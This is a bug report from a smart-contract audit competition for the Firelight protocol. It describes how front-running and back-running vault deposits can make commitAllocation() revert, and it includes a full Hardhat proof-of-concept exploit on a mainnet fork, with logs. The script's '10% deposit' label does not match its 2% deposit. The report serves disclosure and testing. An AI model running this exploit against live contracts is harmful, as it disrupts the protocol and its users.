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Firelight Sep.2026 | Audit Competition

89834 sc medium an attacker can grief commitallocation when the matchingcapacity is calculated at block timestamp periodstart timestamp

Submitted on Aug 21st 2026 at 12:18:52 UTC by @OxG0P1 for Audit Comp | Firelight

Description

Brief / Introduction

Any user with sufficient assets can cause commitAllocation() to revert by manipulating the totalAssets() of the FirelightVault around the time the off-chain matching engine calculates matchingCapacity.

Specifically, an attacker can front-run the matching engine's calculation by depositing assets into the vault, temporarily inflating totalAssets(). The matching engine then fetches totalAssetsAt(periodStart) and calculates an inflated matchingCapacity based on this value.

The attacker can subsequently back-run the matching engine's transaction by redeeming the shares obtained from the deposit, reducing totalAssets() back to its original value.

Later, when the ALLOCATOR calls commitAllocation(), the on-chain calculation of maxCapacity uses the now-reduced totalAssetsAt(periodStart). As a result, the matchingCapacity calculated off-chain can be greater than the maxCapacity calculated on-chain, causing commitAllocation() to revert.

This allows an attacker to prevent allocations from being committed by manipulating the vault's assets during the matching-capacity calculation.

Vulnerability Details

Consider the following scenario:

  • The current period is 5.
  • periodStart = X.
  • The current timestamp is X.
  • vault.totalAssets() = 1000.
  • vault.totalSupply() = 1000.

At this point, the matching engine needs to calculate the matchingCapacity. To do so, it calls:

vault.totalAssetsAt(periodStart)

Step 1 — Attacker Front-Runs the Matching Engine

Before the matching engine's transaction executes, the attacker deposits 500 assets into the vault.

As a result:

totalAssets = 1500
totalSupply = 1500

The matching engine's call to:

vault.totalAssetsAt(periodStart)

now observes the inflated totalAssets value of 1500.

Consequently, the matching engine calculates an inflated matchingCapacity.

Step 2 — Attacker Back-Runs the Matching Engine

Immediately after the matching engine's transaction, the attacker redeems the 500 assets they previously deposited.

This brings the vault back to approximately:

totalAssets = 1000

The matching engine, however, has already calculated matchingCapacity using the inflated 1500 asset value.

Step 3 — commitAllocation() Is Called

Suppose the ALLOCATOR calls commitAllocation() at timestamp X + 10.

The function calculates maxCapacity using the current value returned by:

totalAssetsAt(periodStart)

which now returns 1000.

Assume both the matching engine and the on-chain contract use the following formula:

(((FLBBalance + totalAssetsAt(periodStart)) * Leverage) / minCAR)
    * ((10000 + divergenceToleranceBps) / 10000)

Since all parameters other than totalAssetsAt(periodStart) remain unchanged, the matching engine calculates matchingCapacity using the inflated value of 1500, while commitAllocation() calculates maxCapacity using the reduced value of 1000.

Therefore:

matchingCapacity > maxCapacity

This causes the following validation to revert:

function _validateMatchingCapacity(
    CoverOrderAllocatorStorage storage $,
    uint256 period,
    uint256 matchingCapacity,
    uint256 totalAllocated
) private view {
    uint256 maxCapacity = _computeAvailableCapacity($, period);

    if (matchingCapacity > maxCapacity)
        revert MatchingCapacityOverflow(matchingCapacity, maxCapacity);

    if (totalAllocated > matchingCapacity)
        revert TotalAllocationOverflow(totalAllocated, matchingCapacity);
}

The transaction therefore reverts with:

MatchingCapacityOverflow(matchingCapacity, maxCapacity)

Note : Even if the matchingCapacity calculation off chain slightly differes from the onchain calculation an attacker can with enough capital still grief commitAllocation as long as the calculation happens when the current timestamp is == periodStart timestamp by inflating/deflating totalAssets().

Impact Details

An attacker can temporarily manipulate the vault's totalAssets() by depositing assets immediately before the matching engine calculates matchingCapacity and then redeeming those assets immediately afterward.

Because the off-chain matching engine and the on-chain commitAllocation() can observe different totalAssetsAt(periodStart) values, the resulting matchingCapacity can exceed the on-chain maxCapacity.

This causes commitAllocation() to revert and can therefore prevent the allocation from being committed for the affected period.

The attack does not require the attacker to permanently transfer assets to the vault; the attacker only needs sufficient capital to temporarily inflate the vault's assets around the matching-capacity calculation.

References

https://github.com/immunefi-team/audit-comp-firelight/blob/42f9ea5e43d88b35197b901acc2a8c24b314fa62/contracts/core/CoverOrderAllocator.sol#L394-L403

Proof of Concept

Proof of Concept

Run

FORK=1 NODE_RPC_URL=https://flare-api.flare.network/ext/C/rpc npx hardhat test test/fork_capacity_withdraw_poc.js


const { ethers, upgrades, network } = require('hardhat')
const { time } = require('@nomicfoundation/hardhat-network-helpers')
const { expect } = require('chai')

// Run against a Flare mainnet fork with:
//   FORK=1 NODE_RPC_URL=https://flare-api.flare.network/ext/C/rpc \
//   npx hardhat test test/fork_capacity_withdraw_poc.js
//
// The ProxyAdmin owner is impersonated automatically. The deployed FAsset is
// called through its mint interface to fund the fresh staker directly.
const VAULT_ADDRESS = '0x4C18Ff3C89632c3Dd62E796c0aFA5c07c4c1B2b3'
const VAULT_PROXY_ADMIN = '0x15f89292cef63405a53ab806966681ecb430df85'
const VAULT_PROXY_ADMIN_OWNER = '0xf811e83b45d8de67858efa3ac1202a8b46b8d0b3'

const BPS = 10_000n
const CANONICAL_DECIMALS = 18n
const YEAR = 365n * 24n * 60n * 60n

const scaleToCanonical = (amount, decimals) => {
    if (decimals === 18) return amount
    return amount * 10n ** BigInt(18 - decimals)
}

const formatCanonical = (amount) => ethers.formatUnits(amount, Number(CANONICAL_DECIMALS))

async function impersonate(address) {
    await network.provider.send('hardhat_impersonateAccount', [address])
    await network.provider.send('hardhat_setBalance', [address, '0x3635C9ADC5DEA00000'])
    return ethers.getSigner(address)
}

async function loadProxyAdminOwner() {
    return impersonate(VAULT_PROXY_ADMIN_OWNER)
}

async function freshFundedSigner() {
    const wallet = ethers.Wallet.createRandom().connect(ethers.provider)
    await network.provider.send('hardhat_setBalance', [wallet.address, '0x3635C9ADC5DEA00000'])
    return wallet
}

async function mineTransactionsAt(timestamp, transactions) {
    await network.provider.send('evm_setAutomine', [false])
    try {
        const sentTransactions = []
        for (const transaction of transactions) sentTransactions.push(await transaction())
        await network.provider.send('evm_setNextBlockTimestamp', [Number(timestamp)])
        await network.provider.send('evm_mine')
        return Promise.all(sentTransactions.map((transaction) => transaction.wait()))
    } finally {
        await network.provider.send('evm_setAutomine', [true])
    }
}

async function computeMatchingCapacity(vault, asset, price, config, periodStart, assetsOverride) {
    const assetDecimals = Number(await asset.decimals())
    const bufferToken = await ethers.getContractAt('IERC20Metadata', config.firstLossBufferToken)
    const bufferDecimals = Number(await bufferToken.decimals())
    const firstLossBuffer = await bufferToken.balanceOf(config.firstLossBuffer)
    const assetsAtStart = assetsOverride ?? await vault.totalAssetsAt(periodStart)

    const firstLossBufferCanonical = scaleToCanonical(firstLossBuffer, bufferDecimals)
    const assetsCanonical = scaleToCanonical(assetsAtStart, assetDecimals)
    const stakedValueCanonical = assetsCanonical * price / 10n ** 18n
    const collateral = firstLossBufferCanonical + stakedValueCanonical
    const strictCapacity = collateral * config.effectiveLeverage / config.minCAR

    return {
        capacity: strictCapacity * (BPS + config.divergenceToleranceBps) / BPS,
        assetsAtStart,
        firstLossBuffer,
    }
}

(describe)('Flare mainnet fork: capacity snapshot withdrawal PoC', function () {
    it('accepts period-start capacity after a 10% deposit and full redemption', async function () {
        this.timeout(180_000)
        if ((await ethers.provider.getCode(VAULT_ADDRESS)) === '0x') this.skip()

        const [deployer, curator, allocatorRole, configAdmin, adminRole] = await ethers.getSigners()
        const firstLossBuffer = deployer.address

        const upgrader = await loadProxyAdminOwner()
        const FirelightVault = await ethers.getContractFactory('FirelightVault', upgrader)
        const implementationBeforeUpgrade = await upgrades.erc1967.getImplementationAddress(VAULT_ADDRESS)
        console.log(`vault implementation before upgrade: ${implementationBeforeUpgrade}`)
        const implementation = await FirelightVault.deploy()
        await implementation.waitForDeployment()
        const proxyAdmin = await ethers.getContractAt(
            ['function upgradeAndCall(address proxy, address implementation, bytes data) payable'],
            VAULT_PROXY_ADMIN,
            upgrader,
        )
        const initializeV2Data = new ethers.Interface(['function initializeV2()']).encodeFunctionData('initializeV2')
        const upgradeTransaction = await proxyAdmin.upgradeAndCall(
            VAULT_ADDRESS,
            await implementation.getAddress(),
            initializeV2Data,
        )
        await upgradeTransaction.wait()
        const implementationAfterUpgrade = await upgrades.erc1967.getImplementationAddress(VAULT_ADDRESS)
        console.log(`vault implementation after upgrade: ${implementationAfterUpgrade}`)
        const vault = await ethers.getContractAt('FirelightVault', VAULT_ADDRESS, deployer)
        console.log(`vault contract version after upgrade: ${await vault.contractVersion()}`)

        const asset = await ethers.getContractAt('IERC20Metadata', await vault.asset())
        const assetDecimals = Number(await asset.decimals())
        const staker = await freshFundedSigner()
        const fAsset = await ethers.getContractAt(
            [
                'function assetManager() view returns (address)',
                'function mint(address account, uint256 amount)',
            ],
            await asset.getAddress(),
        )
        const assetManagerAddress = await fAsset.assetManager()
        const assetManager = await impersonate(assetManagerAddress)

        const PriceFeed = await ethers.getContractFactory('FtsoChainlinkAdapter', deployer)
        const priceFeed = await PriceFeed.deploy(
            deployer.address,
            3 * 24 * 60 * 60,
            deployer.address,
            '0x015852502f55534400000000000000000000000000',
            'XRP / USD',
        )
        await priceFeed.waitForDeployment()

        const CoverNFT = await ethers.getContractFactory('CoverNFT', deployer)
        const coverNFT = await upgrades.deployProxy(
            CoverNFT,
            ['Fork PoC Cover', 'FPOC', '', deployer.address, deployer.address, ethers.ZeroAddress, ethers.ZeroAddress],
            { kind: 'transparent' },
        )
        await coverNFT.waitForDeployment()

        const market = ethers.encodeBytes32String('flare-fork-poc')
        const protocol = 'ForkPoC'
        const marketId = ethers.keccak256(
            ethers.AbiCoder.defaultAbiCoder().encode(['uint64', 'string', 'bytes32'], [14, protocol, market]),
        )

        const Allocator = await ethers.getContractFactory('CoverOrderAllocator', deployer)
        const allocator = await upgrades.deployProxy(
            Allocator,
            [{
                vault: await vault.getAddress(),
                premiumCollector: deployer.address,
                coverNFT: await coverNFT.getAddress(),
                priceFeedAdapter: await priceFeed.getAddress(),
                maxPriceAge: 30 * 24 * 60 * 60,
                premiumTokens: [await asset.getAddress()],
                admin: deployer.address,
                adminRole: adminRole.address,
                curatorRole: curator.address,
                allocatorRole: allocatorRole.address,
                configAdminRole: configAdmin.address,
                initialProtocolConcentrations: [{ chainId: 14, protocol, maxProtocolConcentrationBps: 10_000 }],
                newMarkets: [{ chainId: 14, protocol, market }],
                capacityConfig: {
                    minCAR: 12_000,
                    firstLossBufferToken: await asset.getAddress(),
                    firstLossBuffer: firstLossBuffer,
                    effectiveLeverage: 24_000,
                    minOrderMarketCoverAmount: 1,
                    divergenceToleranceBps: 500,
                },
            }],
            { kind: 'transparent' },
        )
        await allocator.waitForDeployment()
        await coverNFT.grantRole(await coverNFT.MINTER_ROLE(), await allocator.getAddress())
        const firstLossBufferBalance = await asset.balanceOf(firstLossBuffer)
        if (firstLossBufferBalance !== 0n) throw new Error('PoC first-loss buffer must have zero balance')

        const currentPeriod = await vault.currentPeriod()
        const targetPeriod = currentPeriod + 1n
        const coverAmount = 1n * 10n ** CANONICAL_DECIMALS
        await allocator.connect(curator).createCoverOrder(
            staker.address,
            staker.address,
            'flare-fork-poc',
            await asset.getAddress(),
            [{ marketId, coverRateAnnual: 500, coverAmount }],
            0,
        )

        // Fund and approve before the boundary. Any mined transaction after the
        // boundary would advance the parent timestamp past periodStart.
        const tvlBeforeDeposit = await vault.totalAssets()
        const depositAmount = tvlBeforeDeposit / 50n
        if (depositAmount === 0n) throw new Error('Vault TVL is too small for a 10% deposit')
        await fAsset.connect(assetManager).mint(staker.address, depositAmount)
        const stakerAssetBalance = await asset.balanceOf(staker.address)
        if (stakerAssetBalance < depositAmount) throw new Error('FAsset mint did not fund the independent staker')
        await asset.connect(staker).approve(await vault.getAddress(), depositAmount)

        const nextPeriodStart = await vault.currentPeriodEnd()
        await time.increaseTo(nextPeriodStart - 1n)
        const period = targetPeriod
        const periodStart = nextPeriodStart
        console.log(`periodStart: ${periodStart}`)

        // Prepare funding before periodStart. After the boundary, only the
        // deposit and redemption transactions may be mined.
        const stakerShares = await vault.previewDeposit(depositAmount)
        const assetsAtTimestampBeforeDeposit = await vault.totalAssetsAt(periodStart)
        const assetsAtPeriodStartBeforeDeposit = await vault.totalAssetsAt(periodStart)
        if (stakerShares === 0n) throw new Error('Independent staker would receive zero vault shares')
        const [depositReceipt] = await mineTransactionsAt(periodStart, [
            () => vault.connect(staker).deposit(depositAmount, staker.address),
        ])
        const depositBlock = await ethers.provider.getBlock(depositReceipt.blockNumber)
        const assetsAtTimestampAfterDeposit = await vault.totalAssetsAt(depositBlock.timestamp)
        const assetsAtPeriodStartAfterDeposit = await vault.totalAssetsAt(periodStart)
        console.log(`TVL before deposit (raw): ${tvlBeforeDeposit}`)
        console.log(`deposit amount (raw): ${depositAmount}`)
        console.log(`deposit block.timestamp: ${depositBlock.timestamp}`)
        console.log(`totalAssetsAt(block.timestamp) before deposit (raw): ${assetsAtTimestampBeforeDeposit}`)
        console.log(`totalAssetsAt(block.timestamp) after deposit (raw): ${assetsAtTimestampAfterDeposit}`)
        console.log(`totalAssetsAt(periodStart) before deposit (raw): ${assetsAtPeriodStartBeforeDeposit}`)
        console.log(`totalAssetsAt(periodStart) after deposit (raw): ${assetsAtPeriodStartAfterDeposit}`)

        // Calculate against the inflated live TVL before the staker redeems.
        const config = await allocator.getCapacityConfigAt(period)
        const liveAssetsAfterDeposit = tvlBeforeDeposit + depositAmount
        const [, livePrice, , livePriceUpdatedAt] = await priceFeed.latestRoundData()
        console.log(`XRP/USD live price (raw 1e18): ${livePrice}`)
        console.log(`XRP/USD price updatedAt: ${livePriceUpdatedAt}`)
        const postDepositSnapshot = await computeMatchingCapacity(
            vault,
            asset,
            livePrice,
            config,
            periodStart,
            liveAssetsAfterDeposit,
        )
        console.log(`matchingCapacity (canonical): ${postDepositSnapshot.capacity}`)

        // Redemption is mined at the same timestamp as the deposit, but only
        // after matchingCapacity has been calculated from the deposit state.
        const assetsAtPeriodStartBeforeRedeem = assetsAtPeriodStartAfterDeposit
        const [redeemReceipt] = await mineTransactionsAt(periodStart, [
            () => vault.connect(staker).redeem(stakerShares, staker.address, staker.address),
        ])
        const redeemBlock = await ethers.provider.getBlock(redeemReceipt.blockNumber)
        const assetsAtPeriodStartAfterRedeem = await vault.totalAssetsAt(periodStart)
        const remainingShares = await vault.balanceOf(staker.address)
        if (remainingShares !== 0n) throw new Error('Independent staker still owns vault shares')
        console.log(`redeem block.timestamp: ${redeemBlock.timestamp}`)
        console.log(`totalAssetsAt(periodStart) after redeem (raw): ${assetsAtPeriodStartAfterRedeem}`)
        if (assetsAtPeriodStartAfterRedeem < tvlBeforeDeposit || assetsAtPeriodStartAfterRedeem > tvlBeforeDeposit + 1n) {
            throw new Error('Period-start totalAssets snapshot changed beyond redemption rounding')
        }

        // The live capacity is back to the period-start collateral, so the
        // post-deposit matching capacity must be rejected.
        await time.increase(60)
        const totalCapacitySnapshot = await computeMatchingCapacity(
            vault,
            asset,
            livePrice,
            config,
            periodStart,
            assetsAtPeriodStartAfterRedeem,
        )
        const capacityDifference = postDepositSnapshot.capacity - totalCapacitySnapshot.capacity
        console.log(`capacity immediately before commit (canonical): ${totalCapacitySnapshot.capacity}`)
        console.log(`matching capacity submitted to commit (canonical): ${postDepositSnapshot.capacity}`)
        console.log(`capacity difference (matching - available, canonical): ${capacityDifference}`)
        await expect(
            allocator.connect(allocatorRole).commitAllocation(
                period,
                ethers.keccak256(ethers.toUtf8Bytes('flare-fork-withdraw-poc')),
                0,
                postDepositSnapshot.capacity,
            ),
        ).to.be.revertedWithCustomError(allocator, 'MatchingCapacityOverflow')
        console.log('commitAllocation reverted with MatchingCapacityOverflow')
    })
})

###Logs



  Flare mainnet fork: capacity snapshot withdrawal PoC
vault implementation before upgrade: 0x70CCf1bEE0c1217069FE74083Ca71AF7BCd7fb76
vault implementation after upgrade: 0x42269f411B030391634DAB7503b9E2ADE7057F1A
vault contract version after upgrade: 2
periodStart: 1787319769
TVL before deposit (raw): 56624961770953
deposit amount (raw): 1132499235419
deposit block.timestamp: 1787319769
totalAssetsAt(block.timestamp) before deposit (raw): 56624961770953
totalAssetsAt(block.timestamp) after deposit (raw): 57757461006372
totalAssetsAt(periodStart) before deposit (raw): 56624961770953
totalAssetsAt(periodStart) after deposit (raw): 57757461006372
XRP/USD live price (raw 1e18): 1355268000000000000
XRP/USD price updatedAt: 1787314278
matchingCapacity (canonical): 164381361192685912161600000
redeem block.timestamp: 1787319769
totalAssetsAt(periodStart) after redeem (raw): 56624961770954
capacity immediately before commit (canonical): 161158197247734299911200000
matching capacity submitted to commit (canonical): 164381361192685912161600000
capacity difference (matching - available, canonical): 3223163944951612250400000
commitAllocation reverted with MatchingCapacityOverflow
    ✔ accepts period-start capacity after a 10% deposit and full redemption (110999ms)


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